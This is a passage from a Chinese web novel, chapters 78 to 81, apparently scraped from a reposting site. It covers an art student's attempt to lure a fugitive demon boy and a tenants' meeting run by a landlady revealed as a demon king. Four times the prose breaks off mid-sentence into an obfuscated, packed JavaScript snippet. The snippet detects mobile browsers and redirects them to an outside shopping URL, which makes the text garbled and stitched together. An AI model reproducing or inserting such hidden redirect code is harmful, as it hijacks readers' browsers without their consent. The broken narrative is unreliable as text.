就在这时候，他看到远处绿化带的灌木丛中若隐若现地冒着一缕烟，枯叶被烧焦的气味也被微风传送了过来。 “究竟是谁这么不道德，竟然往绿化带里丢烟头，如果引起了校园火灾该如何是好！” 这样想着，他快步向冒烟的地方走去，意欲将危险扼杀在萌芽阶段。 而有人比他更快一步。 那家伙就像旋风似的从他身旁经过，直奔火灾隐患的苗头而去。墨绿色的帆布背包在他的后背随脚步跳动。 布莱克认出了包上的挂件是红山美术学院的纪念周边。 78. 第 78 章 * “喂，你还好吧？” 窸窸窣窣。 “我先警告你，千万别在这地方放火，纵火是大罪，何况恩斯法内的校园绿化带也是贵重的公共财物。” 窸窸窣窣。 “你和妮娜·斯特尔有什么关系？” 一直不安分地晃动着的灌木丛忽然安静下来。阿尔弗雷德确信自己抓住了关键词，表情既有几分得意，又有一点微妙。 无论如何，藏身树丛的炼狱兽堪称他的缪斯，他不希望他和别的人类有什么特殊关系——仿佛那样会毁坏他创作的纯洁性。 可他虽然想要否认那两个家伙之间存在特殊的纽带，但又不得不拿这一点来挟持那头魔兽。 “不要有为非作歹的念头，这里是斯特尔就读的学校，你在这里闹事的话，一不小心就会把她牵扯进来。” 灌木丛晃动了一下，那些可疑的烟气也突然中断了，少年那显得固执和不甘的声音从里面传了出来：“你想怎么样？” “我想和你交个朋友。如果你有需要，我愿意为你提供临时的庇护，你一定不想再被关进笼子里。”阿尔弗雷德用自以为好声好气的口吻说道。 “哼……我还没有忘记你的住处是怎样轻而易举地就被魔女给突破了的，你没法为我提供庇护，只会成为包庇魔族的共犯，你的话我原样奉还——你也一定不想被关进笼子里。” “那你有什么打算呢？总不能在树丛里面躲一辈子吧？” “她总会来上学的……我就在这里等着好了。用不上一辈子的。” 阿尔弗雷德为那家伙的天真感到好笑，同时又感到几分嫉妒。 “看来你把斯特尔当成自己的守护者了。很遗憾，她有太多事情要忙，出租房、工地、金融机构……她手底下有无数个员工等待着听从她的指令，而且除了研讨会之外，像她那样的大四学生应该很少会来学校了。我就是想告诉你，在这儿等也是白等，就算真被你守株待兔给等到了，斯特尔也腾不出空来照顾你。” “我才不需要她的照顾！” 树丛里的声音虽然说着这样的话，但语气显然有几分落寞和失望。 阿尔弗雷德打的就是趁虚而入的算盘：“还不如跟我走呢。我会给你足够好的待遇了。赚到钱之后我就已经搬出了宿舍，我现在的住处可不是魔女能简简单单就进得来的地方。” “不要！” 灌木丛哗啦哗啦地响了起来。 “但是很多事情由不得你。你说不要就不要，这个世界才没有那么简单呢。”阿尔弗雷德向前走了一步，他的前脚已经踩在了绿化带的边缘。 就在这时候，他放在裤子口袋里的手机震动了几下。 最近，随着事业的发展，他或许染上了和某些大人物一样高高在上目中无人的毛病，以此为中心作出了种种改变。一个显著的例子就是手机上的设定。 他把来电和信息提示都设置成了静音模式，仅有少数几个重要联系人和重要软件的提示才配得上震动功能——这意味着只要不是面临生死存亡关头，就要第一时间去处理这些联络和提醒——和那些对他来说无关紧要的人与物形成了鲜明的对比。 眼下显然不是千钧一发的时刻，阿尔弗雷德看了一眼正在晃动的灌木丛，选择优先查看手机中的“重要联络”。 导师7号：“现在方便吗？” 阿尔弗雷德：“请问有什么事呀？” 导师7号：“我知道你在《原子之战》里有一个顶级工匠账号，我想委托你帮我打造一把星海神杖。报酬是中央区商业中心的一场个人画展，我会帮你谈好最佳地段。” 阿尔弗雷德：“真的？！当然可以。” 阿尔弗雷德：“您什么时候需要？我准备材料需要一点时间，不过最晚应该能在月底之前做好！” 导师7号：“那就交给你了。展览的时间和内容由你自己决定，如果有需要帮忙的地方，只要不越界，我也可以派人协助。” 阿尔弗雷德：“包在我身上！一定会为您打造最高品质的神杖！” 阿尔弗雷德：“画展的事情我要仔细考虑一下，等确定了之后再联系您！” 导师7号：“好。” 放下手机，阿尔弗雷德脸上已经挂满了春风得意的笑容。 在《原子之战》里拿到“第一工匠”的成就之后，他已经从这个游戏里获得了足够的满足，也已经达成了最初目标，因此几乎等同于结束了自己在这个游戏中的生涯。 而那个再没有登录过的“第一工匠”账号就这么成了服务器的传说。 每个服务器只有第一个达成特定成就的工匠职业能完成“第一工匠”成就，该成就的奖励包含一份随机战斗职业最终兵器的配方，该配方可以通过“教学”、“售卖图纸”等方式让其他工匠习得，也能够伴随这些账号的转服流入其他服务器，最终补全各服务器中各职业顶级装备的配方。 阿尔弗雷德解锁的是法师职业的传说级武器星海神杖。 当初有无数大佬级的玩家对第一工匠解锁的终极配方翘首以盼，捏着材料和佣金准备找那位第一工匠打造武器，没想到那期盼完全落了空，有不少人叫嚣着要人肉搜索和打击报复，也有一些人为了顶级武器而放弃了法师账号，转练其他职业。 因为阿尔弗雷德的任性，法师几乎已经成了《原子之战》中无人问津的废弃职业。不过他本人对自己引发的血雨腥风一无所知。 他最近正好在着手准备画展，想以此造势，提升地狱火的格调和影响力，但由于主题涉及魔族，而且他目前又只是个无权无势没有背景的大学生，很难在一个好地段上谈下展馆。 导师7号提出的交易对他来说无疑是天降甘霖，一场意外之喜。他想入非非地认为这暗示了导师7号对自己的偏爱与倚重。 正当阿尔弗雷德得意忘形之际，有人从后方猛地将他撞倒在地，他整个人都没入了绿化带里的草丛中。 “走！” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13127770|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他听到有人大喝一声，紧接着身旁的灌木丛一阵乱摇，红色头发的魔族少年终于现了身。 然而还不等他从草丛里挣扎起来将他抓住，他就被一个学生模样的家伙给拉扯着跑远了。 “那家伙，难道还有同伙吗？”阿尔弗雷德看着那两人一前一后逐渐远去的身影，有些恨恨地想道。 随即他又想到了一句古话：有得必有失。 他都有机会在市中心最高端的商业中心举办梦寐以求的画展了，能不能把炼狱兽诱拐回家也就显得没那么重要。总不能让他一个人把好事全占尽了。 况且，那只小恶魔说的也没错，把他带回家里一定会承受极大风险，没准还会被抓去坐牢，这种风险极大的事情又哪里能和有七贵族的权威做保障的好处相提并论呢？ * 布莱克自己都被这股冲动劲给吓了一跳。他原本可是一个在路上被人撞到都要再三道歉的青年，主动去撞倒别人这种事情他是万万做不出来的。 没想到他现在非但做了，而且没有半点内疚的意思；非但没有半点内疚的意思，甚至还觉得有点激动。 结合灌木丛中冒出的黑烟，再从他刚才躲在一旁偷听到的内容来看，被那个挂着红山魔法阵挂件的家伙盯上的，很有可能是一头稀有的炼狱兽。 他还记得维克多给他概述的罗德里斯公寓第一次全体大会的内容，其中就有一项包含解救炼狱兽的计划。 考虑到炼狱兽这一种族的稀有性，在加上刚才那家伙提及了他房东的姓名，他有九成把握，躲在灌木丛中的炼狱兽就是妮娜要找的那头。 如果他能把这小子带回公寓的话，算不算是立了大功？ 这样想着，布莱克的脚步愈发地轻盈和敏捷起来。 “喂，你是什么人啊！你打算把我带到哪儿去？”恶魔少年在他身后大喊起来，并伴随着手腕的扭动——他似乎想从他手中挣脱，但始终没有成功，最后只能老老实实地半是被迫半是主动地跑着。 “我叫布莱克，妮娜·斯特尔的同学兼房客。” 布莱克想当然地认为只要他这么说，小恶魔就会乖乖地跟着他走。 没想到那家伙挣扎得更用力了。 “不！我才不要到她那儿去！你放开我！赶紧放开我！” “怎么了？她正眼巴巴地盘算着怎么才能把你救出来呢。她一定很高兴我能把你带回去。” 少年似乎产生了一丝动摇：“真、真的？她说要来救我？” 布莱克正暗自窃喜，觉得自己说对了话。 不想手心突然传来一阵灼痛。他一松手，小恶魔就立刻跑得老远。 “喂，你要到哪里去？”他大叫起来。 那家伙居然对他用了元素魔法，幸好下手不重，没有真的造成烧伤。 “去她那儿又能怎样？她能做得了什么！”小恶魔的声音从远处飘来，“一个没用的魔王，能做得了什么？！” 等等，他说什么，“魔王”？ 79. 第 79 章 布莱克有些遗憾又有些困惑地回到老城区1402号。 在玄关处换鞋的时候他就发现，聚集在一楼公共区域的人比平时多了不少，里面还有几张他不怎么熟悉的生面孔。 “人到齐了，我们去楼上的会议室吧。”房东女士一声令下，围绕在餐桌旁的众人便开始向二楼转移。 布莱克赶忙跑了上去，走到殿后的维克多身边：“先生，你怎么也到这儿来了？” 自维克多被委以管理赫尔马岱工地的重任之后，他就很少出现在罗德里斯公寓了。这一点，为维克多打下手的布莱克也是一样。 维克多看了已经率先上了楼梯的女士的背影，答道：“当然是房东大人发了召集令。也差不多到了该开一次例会的时候了。” “我们不在这里的时候，看来公寓又搬来了几个新客人。”布莱克小心地打量着妮娜身后那列不长不短的队伍。 维克多及时和他共享了人物资料：“你知道的，在我们去赫尔马岱之前就有一只神秘兮兮的吸血蝙蝠搬了进来，他已经和房东大人搞好了关系，愿意在人前露面了。” “我听妮娜说过。虽然会让人误以为是兽人，但其实是血族成员。” “还有年纪轻轻就长了很多白头发的媒介商人，佩吉·卡斯纳女士。她现在正负责艾力克的教学，同时从事着魔法媒介的生意。” “媒介商人？这么说来她不是红山的学生，就是我和妮娜的校友。” “我不确定房东大人有没有弄清过她的出身院校。你现在正盯着看的是阿加雷斯，如果你最近有在关注社交媒体的话，应该已经认识他了。” 被点到名字的男性回头向这里看了一眼，布莱克立刻移开了视线。 “我知道他，魅魔的次生种，一位罕见的夜骑先生，和三百年前的勇者有着同样的名字。怎么说呢……真人似乎比视频更有气质。” “你还真是不吝夸奖。” “还有那个像僵尸一样的家伙——” “那位是最令我感到惊讶的。没看错的话，他好像是我们学校的辅导员？” “呵呵，原来你们认识。” “维克多先生，妮娜……我们的房东女士，她到底是什么人？” “她是我们的房东女士。” “维克多先生！” 布莱克是最后一个走进会议室的，先进去的人都已经在各自的座位上坐好了。 一开始他并不知道大家是按照什么规则选择的位置，直到维克多提醒他桌面上贴着房间的门牌号，于是他在佩吉和维克多之间的空档坐了下来。 “嘿，原来是你——”佩吉出人意料地主动打了招呼，惹得维克多也投来了好奇的眼光。 还不等布莱克开口，佩吉就解答了他心中的疑问：“我研究生二年级的开学典礼，你作为新生代表上台发言了。房东说这里有人擅长解决法律问题，我原本还抱有怀疑的态度，但既然是你，那或许确实值得信赖，能以第一名的成绩考进恩斯法内的都不是一般人。” 这些吹捧话让布莱克弄清了她的出身校，但也让他感到羞愧不已。入学时他有多骄傲，如今就有多尴尬。他如今的境遇足以证明当年的成绩并不与未来的前途挂钩。 好在会议的正式开始帮他中止了这种尴尬。 妮娜相当郑重地向全体成员为乌瑟·斯莱曼做了介绍，并简要叙述了他在罗德里斯公寓的成立过程中所起到的不可或缺的作用。 在她讲那些话的时候，乌瑟一直黑着脸，表现得相当不耐烦，说不定会让人以为他和发言者有什么深仇大恨，但布莱克敏锐地觉察到那只是这位辅导员别出心裁的掩饰尴尬的方式。 至于算不上细致入微的他为何能发现这件事，或许是因为他自己刚刚才经历过尴尬，所以对这种情绪分子特别敏感吧。 另外，为了回应艾力克提出的某个疑问，妮娜还揭露了一些相当辛辣的科研内幕——主要是关于深渊巫妖和魔女的关系。 这些内容一部分来自与乌鸦过去的交谈，一部分来自古斯塔夫最近搜集到的情报，还有一小部分来自乌瑟·斯莱曼不情不愿的补充。 在场的所有人，无论是人类还是魔族，都对这段揭秘感到震惊和动摇，尤以身为大巫妖的文森特为甚。 “贵族院可真不是东西！”他忿忿不平地说道。 “简直丧尽天良——”身为人类的佩吉也一时忘了自己的立场，忍不住帮腔，“我们不能纵容恶行，应该把这些事情公之于众。” 布莱克没有说话，他注意到阿加雷斯的神情有些不妙，以为他也被骇人听闻的实验内容给吓到了。 更何况他自己也因为得知乌瑟的身份而吓了一跳。 在会议第一个阶段结束，进入到自由发言环节时，布莱克主动提到了刚才在校园中发生的事，并将恶魔少年在从他手中逃离时说的话原模原样地复述了一遍，除了最后的最后那句。 “他这么说？” 妮娜·斯特尔那张总是坚定又倔强的脸上突然浮现出名曰自责的表情，不仅如此，她还表现得有些困惑。 布莱克在第一次听到她打算营救那头被捕的炼狱兽时，想当然地以为那是出于争取战斗力的目的——无论如何，她今后要从事的工作多少都需要一点武力来进行和维持。但就她现在的表现来看，那位恶魔少年似乎在过去同她有什么渊源。 他说她是“魔王”。 而布莱克并不知道具备这些音节的单词究竟意味着什么。 “你和他之间发生过什么吗？” 布莱克没想到有人会代替自己提出这个疑问。说话的人是阿加雷斯。 他趁机仔细观察了一下这位夜骑先生的样子。他给人的第一印象是直率开朗的好青年，有着不算独特的棕色头发和琥珀色眼睛，眉毛干净直挺，在尾端微微分散，搭配下方精致的眼型和略微下垂的眼尾，让人觉得慵懒而脆弱。 如果再观察得深入一点，则会有让人意外的发现，那副英俊而爽气的皮囊似乎隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13139066|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐透露着病态和虚弱，这与他最表层的形象简直大相径庭。 现在，他正认真又恳切地看着会议的主持人，既有想要获得关注的任性的少年心性，又流露着一种年长者对晚辈的关怀。 这两种矛盾的情绪让布莱克一度怀疑自己的眼睛或者脑子是不是出了什么问题。 而被提问的妮娜·斯特尔此时则陷入了短暂的深思。 透过布莱克所转述的话语，她把当初在罗德里斯基地发生的种种再次串联起来，于是蒙多的态度终于变得有迹可循—— 在老吸血鬼让她下达“站立”指令的时候，蒙多就已经知道她的特殊身份，就像后来维克多也一下子就通过艾力克的举动猜到了她是一位魔王。 而蒙多那时候混杂着强烈失望和愤怒的复杂感情，则是因为她那种明明应该承担什么却从来事不关己的态度，那时候她还深信自己是一个普通的人类。 也许对于任何抱有复国愿望的年轻魔族来说，再没有比这更打击人的事实了。 他无法相信一个自我认知为人类的魔王能给他的族群带去什么希望。 而从未当面戳穿这个事实、让她陷入两种身份认知的矛盾漩涡，说不定是他潜意识中的体谅和温柔。 因为他完全可以指责她，痛骂她，将她审判为一族的叛徒，但他却没有那么做。 现在，在她的眼前坐着魔族、人类，还有两者的“混血儿”，她要如何同时向这三者描述曾经发生过的那些事呢？ “他不仅是现存唯一的炼狱兽，也是罗德里斯基地除了魔龙之外唯一的幸存者。我认为自己有义务为他提供庇护，而他或许认为我对那起事件负有责任……” 她抽象地概述了缘由，知晓她身份的同族们应该已经体察到了什么。 乌瑟却突然提出了一个犀利且确凿的观点：“导致罗德里斯基地位置暴露的原因并不是你的拜访，阿尔弗雷德·克雷斯在城郊遇见了炼狱兽，然后把这条线索提交给了贵族院——这才是真正的导火索，你难道没有看过‘地狱火’的品牌故事吗？” 他显然在入狱之前就开始关注地狱火了。他对创业大赛的确抱有异乎寻常的关心。 “他是在怪罪自己，想要惩罚自己，所以不愿意接受罗德里斯公寓的保护吗？”妮娜在沉思了一会儿之后如此说道。 佩吉还不了解事情的全貌，但已经从几人的交谈中拼凑出了大概的脉络：“小男孩嘛，会那样也不奇怪，明明没有本事却还想逞强承担责任，结果总会惹出更大的麻烦……” 艾力克在边上露出了无辜的表情。 妮娜想了一会儿：“果然还是得想个办法和他取得联系，古斯塔夫，你继续寻找蒙多的下落。还有乌鸦，有可能的话希望你也能够协助调查。” 布莱克邀功似的伸出右手：“我刚才抓住他了，手上应该还留有他的气息，说不定能为你们的搜寻提供帮助。” 阿加雷斯不敢示弱似的横插一脚：“我也想申请成为搜索队的一员。” 80. 第 80 章 听闻夜骑先生的请求，知道他近况的房客们都露出了怀疑的表情，但有着一票通过权的房东却点了点头：“如果身体状况允许的话，你也一起帮忙吧。” “如果对象表现出强烈的抗拒，请迅速联络本部并开展跟随保护；如果遭遇紧急情况，请优先确保自身安全。” 妮娜用这段话为炼狱兽的相关议题做了总结，随后便进入了会议的下一个阶段。 “——关于佩吉·卡斯纳提出的扩大‘私塾’规模的建议。” “这么快就有眉目了吗？”媒介商人登时喜上眉梢。 更大的教育规模意味着更充沛的魔力源流，而充沛的魔力源流则确保了魔法媒介的大量供应，目前没有比这更让她在意的事情了。 以她的经验和精力，只为艾力克一名学生提供一对一教学服务实在有点浪费资源，她认为自己至少可以一次性应对一个三十人班级的学生，因此早早就提出了扩大规模的请求，不过因为有诸如生源和场地等各种事项有待整理，加上决策者今日忙得脚不着地，具体的商讨便被搁置了。 她还以为这事少说也要再等半个月才能被提上议程。 “有人想要和我们开展合作，对方是专攻商业化教育培训的项目负责人，那个项目涵盖了从义务教育阶段的课业培训到成人教育和职业培训，内容相当广泛，原本主要面向人类招生，最近正在开拓魔族的市场。”妮娜简要说明了背景。 乌瑟立刻像一座数据库似的锁定了她提到的项目：“露西·法日那的‘新启程’，最开始也是成绩垫底的项目之一，没想到竟然能够进入第二轮，而且已经发展到这种规模了吗？” “士别三日当刮目相待嘛。”妮娜说，“新启程在魔族项目上的盈利模式和媒介商人大致相同，胜在创新，露西是红山的学生，对魔法技术的轻量轻型化颇有心得，制作了不少装载了魔法的小道具，在消费者中反响很好。” 佩吉露出了不服输的表情，拿出手机摆弄起来：“我倒要看看她都做出了些什么好东西。” 很快，那种表情就变成了被消费主义陷阱所诱惑的憧憬与迷茫，最后，她抬起头来，讪讪一笑：“她尝试了不少我一直以来想做的东西。很了不起的创造力，以及扎实的魔法功底。至少从才能的角度来说，她会是一个合格的合作者。” 于是妮娜继续阐述计划的初步内容：“我打算委托露西负责赫尔马岱工人的教育工作，那里有大量的生源，而且我们在那里已经设立了基地——” “等一等……所谓的合作，听起来我们只是提供客源的一方？”佩吉质疑道。 “我的打算是让你加入新启程的项目，然后专门负责魔族方面的事务。我们缺少专业的师资团队和教学系统，露西可以为我们提供这些。教育成百上千个学生和负责二十人小班的教学工作不是一回事。”妮娜说。 “……的确是这样。”佩吉的态度软了下来。 “让我们的人担任魔族部门的主管——这是我和露西已经谈好的条件，当然最后还是要看你的意愿，毕竟事情还没有到一锤定音的阶段。” “我——没有异议，既然有现成的体系，何必非要从头做起呢？” 会议的第二阶段到此为止。 最后，以文森特为首的传媒部门进行了近期的工作汇报及接下来的发展方向，其他与会者也各自提供了一些素材，会议便在一种和谐融洽又欣欣向荣的氛围中结束了。 * 阿尔弗雷德是从大一开始接触《原子之战》的，正赶上工匠职业的初登场，他理所当然地选择了这个在角色创建页面被“强烈推荐”的职业，并凭借着惊人的好胜心及钻研精神，加上专业课程中习得的与建筑和机械相关知识的加持，顺风顺水地成了所在服务器斩获第一工匠称号的人物。 不过与游戏中的登顶正好相反的是他在现实生活中的失败。 就读于三流美术学院的阿尔弗雷德在对游戏的沉溺中荒废了两年多的光阴，在“第一工匠”成就达成的刹那，现实的困境猝不及防地袭向他的内心，高度的满足感在转瞬间变为极度的空虚，他在迷茫和担忧中最后一次登出游戏。 “你在宿舍里呆得太久了，没有呼吸过新鲜的空气，也没有见过活生生的人，怎么可能获得优质的灵感呢？” 咨询处的教师这样回应他关于内心彷徨的提问。 “不如去郊外走走，现在正是万物生长的春天，我想城郊一定会有让人惊喜的景色。当你深刻地接触自然之后，说不定灵感就会源源不断地涌现了。” 阿尔弗雷德决定遵循教师的建议去郊外走走，至于和濒危魔物的意外相遇以及因为举报而获得的酬金，还有以此为灵感创作的毕业设计与地狱火品牌，当然就是意外之喜中的意外之喜了。 如今，在现实中找回成就感和价值感之后，他终于又有机会打开这个游戏，操作那个陪伴他度过两年半光阴的工匠角色。 [服务器]：“第一工匠”戈莱特的狗上线了。 [好像有了不得的消息飘过去了？] [？？？？？？？] [？？？？？？？？？？？？？] [服务器]：果子狸对戈莱特的狗开启仇杀。 [服务器]：深海悲鸣对果子狸开启仇杀。 [服务器]：……开启仇杀。 [大佬们这是在干什么？] [仇杀你个头啊！把人杀退服了我找谁做武器去？] 阿尔弗雷德只觉得聊天框里好像有无数消息迅速地飞过去。 “还以为这游戏已经快凉了，没想到半年没上线倒比以前更热闹了。” 他只是这样淡淡地感叹了一句，然后就顺手打开打造技能栏，找到了当初在达成成就后解锁的传说级法杖的配方，确认了一下材料——不愧是法师职业的终极武器，制造所需的材料都是些贵重的珍宝。 每个礼拜每个服务器只出产一株的摩尔比拉草，掉落率据说不到千分之一的巫萨尔王之牙，竞技等级顶格后才有资格从系统商店购买的月尘颗粒…… 虽然在市中心的高端商圈举办画展是花钱也买不到的机会，但集齐眼前这些材料也不是件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150598|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光靠钱就能办到的事。 阿尔弗雷德看着正摆出待机姿势的工匠角色，嘀咕了一句：“反正以后也不打算玩了……” [戈莱特的狗]：有人需要星海神杖吗？自备材料，可以免费打造，有需要的联系，打听配方的就别来了。 在发布这条消息之后，阿尔弗雷德立刻收到大量好友请求，他从里面挑选了六个以前就在服务器中非常有名的ID，分别发送了一套不同的材料需求，并叮嘱他们在做出成品之前绝对不能走漏消息。 六套材料都和星海神杖的真正配方相去甚远。 他只在每套配方中加入了一种制作星海神杖所需的珍惜材料，搭配一种没有出现在配方中的稀有材料，再将剩余材料随机分配进这六套配方，省略了其中的基础材料和他库存中保有的一些罕见材料。 这样，即使得到回复的六个玩家日后凑到一块对照各自得到的需求表，也很难得出星海神杖的真正配方。而由于材料的稀有性，用穷举法尝试的代价太大，应该不会有人真的这么做。 也就是说，他即将打造的这把星海神杖会成为所有服务器中独一无二的法师武器。 他觉得只有这样才能让导师7号满意。 阿尔弗雷德：“导师您好，法杖做好之后我要怎么交易给你呀？” 导师7号：“这么快就做好了？那画展的时间和主题定好了吗，我现在就可以帮你去准备。” 阿尔弗雷德：“已经在准备了。画展我还要仔细想一下，主要是想先完成导师的委托嘛。” 导师7号：“好吧。你可以慢慢想。法杖邮给ID309281。麻烦你了。” 阿尔弗雷德：“不麻烦不麻烦，毕竟回报这么丰厚。” 阿尔弗雷德一边给导师7号回复消息，一边在游戏中查找ID309281的玩家。 [搜索结果：别叫我戈莱特] “这么巧？！”在看到搜索出来的玩家昵称时，阿尔弗雷德不由愣了一会儿。他看着手机屏幕上和导师7号的聊天框，产生了一个让他激动万分的念头。 七贵族的地位是世袭的，也就是说七贵族中一定有一位来自戈莱特家族，是三百年前那位狂战士的后人。 而导师7号，难道就是如今任职于贵族院的那位戈莱特吗？ [昵称：别叫我戈莱特] [等级：58] [职业：舞者] [上次登录：三个月以上] “为什么会选舞者职业呢？”阿尔弗雷德一边打开别叫我戈莱特的外观详情，一边自言自语。 出现在眼前的是穿着华丽外观和简陋装备的女性舞者形象。 法杖并不是舞者能装备的武器类型，58级也还离能够装备传说级武器差得好远，更不用说这个账号已经超过三个月没有登录了，明显只是随便玩玩的小号。 导师7号却打算为这样一个角色索要一把绝无仅有的星海神杖吗？ “一定是想要找个借口对我提供帮助吧！”阿尔弗雷德不禁如此想道，“这表明祂非常看好我。” 81. 第 81 章 例会结束之后，维克多先返回赫尔马岱，和他同行的还有打算开展踩点工作的佩吉·卡斯纳。 布莱克则暂时留在公寓。他得让那些嗅觉灵敏的邻居们采集炼狱兽在他身上留下的气味，还得把研讨会的情况详细转述给自己的房东。 “你的汇报方式简直像一位专业人士。” 他很高兴能收获这样的评价。 “你给所有房客都安排了任务，那么你自己接下来有什么打算吗？啊……我可能有点得意忘形了，如果不方便说的话，就当我没有问过。” 妮娜用笔杆子支着脸颊，想了想说：“我准备去王城郊外看看。” 乌鸦正好在一边分析布莱克掌心伤口的魔法气息，听到这话，立马抬起头来：“你打算去看罗德里斯大人吗？你决定——” 话说到这里便戛然而止了。 布莱克疑惑地看了她一眼，似乎想要催促她说明后续的内容，她显然比自己更清楚妮娜·斯特尔的心思。 但他也没有过分执着于没能听到的后半句话，因为那前半句已经够让人震惊了。 他知道罗德里斯基地被贵族院捣毁的事情，那时候他还是网吧的住民，事件发生那天，各大网站的头条都悬挂着相关信息，除了那些一直埋头于全屏游戏的网瘾人之外，大家或多或少都会受到一些影响。 尽管新闻铺天盖地，但现场的画面却没流出一个像素，贵族院派人在那里严密地把守着，不让任何人接近，他们在附近的区域铺设了监视和阻拦的魔法，还让好几个魔女二十四小时在那里轮班，没有人知道那地方的确切模样。 也就是说，新闻把人们的好奇心勾了起来，却完全没有要告诉他们答案的意思，这也是地狱火的商品能够走俏的契机——人们把那些印在T恤上的花样当成了答案的一种。 人们在画面上看到了能够朝耀白昼的无与伦比的光辉，从而得知那里发生了一场惊天动地的爆炸。 但所有媒体在报道这一事件时，都只提到“罗德里斯基地”，布莱克想当然地认为“罗德里斯”只是一个具有魔界风格的名称，而妮娜之所以借用这个名称作为参赛项目的名字，也是为了彰显这是一个面向魔族的商业企划。 “罗德里斯大人”这个词组显然说明这个名字并不简单。 “妮娜，罗德里斯大人是谁？难道是一位魔族的大人物？”布莱克忍不住问道。 妮娜愣了一下，有些担忧地看向乌鸦，而乌鸦抿了一下嘴巴，似乎觉得自己说了不该说的话。 接着，妮娜叹了一口气，又耸了耸肩：“没错，一位魔族的大人物，不管是罗德里斯基地还是罗德里斯公寓，都是用他的名字进行的命名。他拥有数量庞大的星屑和黄金，如果能够得到他的赞助，我们一定可以所向披靡。” 她的话听起来像是在开玩笑，至少布莱克是那么觉得的。只是一个在大学生之间开展的比赛而已，没必要说出攻城略地的气势来。 但乌鸦明白妮娜采取了足够温和的说辞，她只提及了罗德里斯能够成为参赛项目的强大经济后援，没有指出那位大贵族真正有着让城市化为焦土的力量。 “不过我总觉得罗德里斯这个名字有点耳熟。”布莱克嘀咕了一句。 乌鸦紧张了一阵。 妮娜用稀疏平常的语气说道：“在古老的童话故事里，罗德里斯经常作为一条可怕的恶龙出现，一两百年前，大人们经常用它来吓唬不听话的小孩。” “这么一说我好像就能想起来了。”布莱克说，“我小时候也看过有巨龙罗德里斯登场的绘本。不过龙族早就在大地上灭绝了，对吧？” 妮娜和乌鸦不约而同地沉默了一会儿。 布莱克不禁怀疑自己是不是说错了话，但他还是决定成为一个勇敢的破冰者，因为某个问题突然攫住了他的关注点：“妮娜，乌鸦问你是否想去拜访罗德里斯……” 他的语气变得非常小心，不过既然他执意要弄清楚，就不会退缩。 “可以理解为……传说中的那条巨龙，现在依然还活着，还存在于这世上的某处对吗？” “难、难道就在——” 王城郊外，那个在新闻中被称为“罗德里斯基地”的地方？ 房东女士轻轻叹了口气，接着点了点头。 * 早在大爆炸刚刚发生之后的那段时间，乌鸦就尝试潜入基地残骸附近查看情况，并证明了通过正常路径是无法抵达目的地的。 但妮娜已经考虑好了不正常的路径，那就是位于恩斯法内大学经济学院办公楼附近的那个传送阵。 既然她能从罗德里斯基地外面的传送阵抵达这里，那么就一定有办法完成这个路径的逆向操作，这是她最近从佩吉那里学到的魔法知识。 她目前还无法通过命令操控大型魔法，但是要对传送阵类型的魔法下达指示倒还算小菜一碟。 她在办公楼下徘徊了一阵，终于趁着附近没有路人的时候接近了那个魔法阵，好声好气地对它吩咐道：“我要去一趟郊外，你能帮我办到的，对吧？” 只见魔法阵的边缘泛起一层浅淡的蓝光，阵法最外圈上有一串符号发生了变化，同时，内圈的图案发生了大约十五度角的旋转。这意味着原本作为单行出口的门已经可以执行入口的功能，而对应的出口被做了临时修改。 妮娜站了上去。 就在这个时候，一阵急促的高跟鞋撞击地面的声音响了起来，穿着略显古板的职业套装的女性急匆匆地出现在妮娜的视野中。 传送阵启动，魔法的光芒一闪而过，那名女性猛地一跃，凭借惊人的弹跳力，在千钧一发之际跃入了魔法阵的范围。 一阵短暂的目眩之后，妮娜和套装女性出现在一片呈现出荒凉之感的树林中。 “啊……”女性小声地惊呼起来。 妮娜动作僵硬地侧过头去，望着女性那张精致的侧脸——这是一位个子和她差不多的女性，年纪似乎也与她不相上下，看打扮应该是一位正在为求职而奔走的学生，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161843|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上却有一种混杂着不谙世事和成熟古旧的矛盾感。 不过现在不是什么能够探究一名女学生身上独特气质的时机。 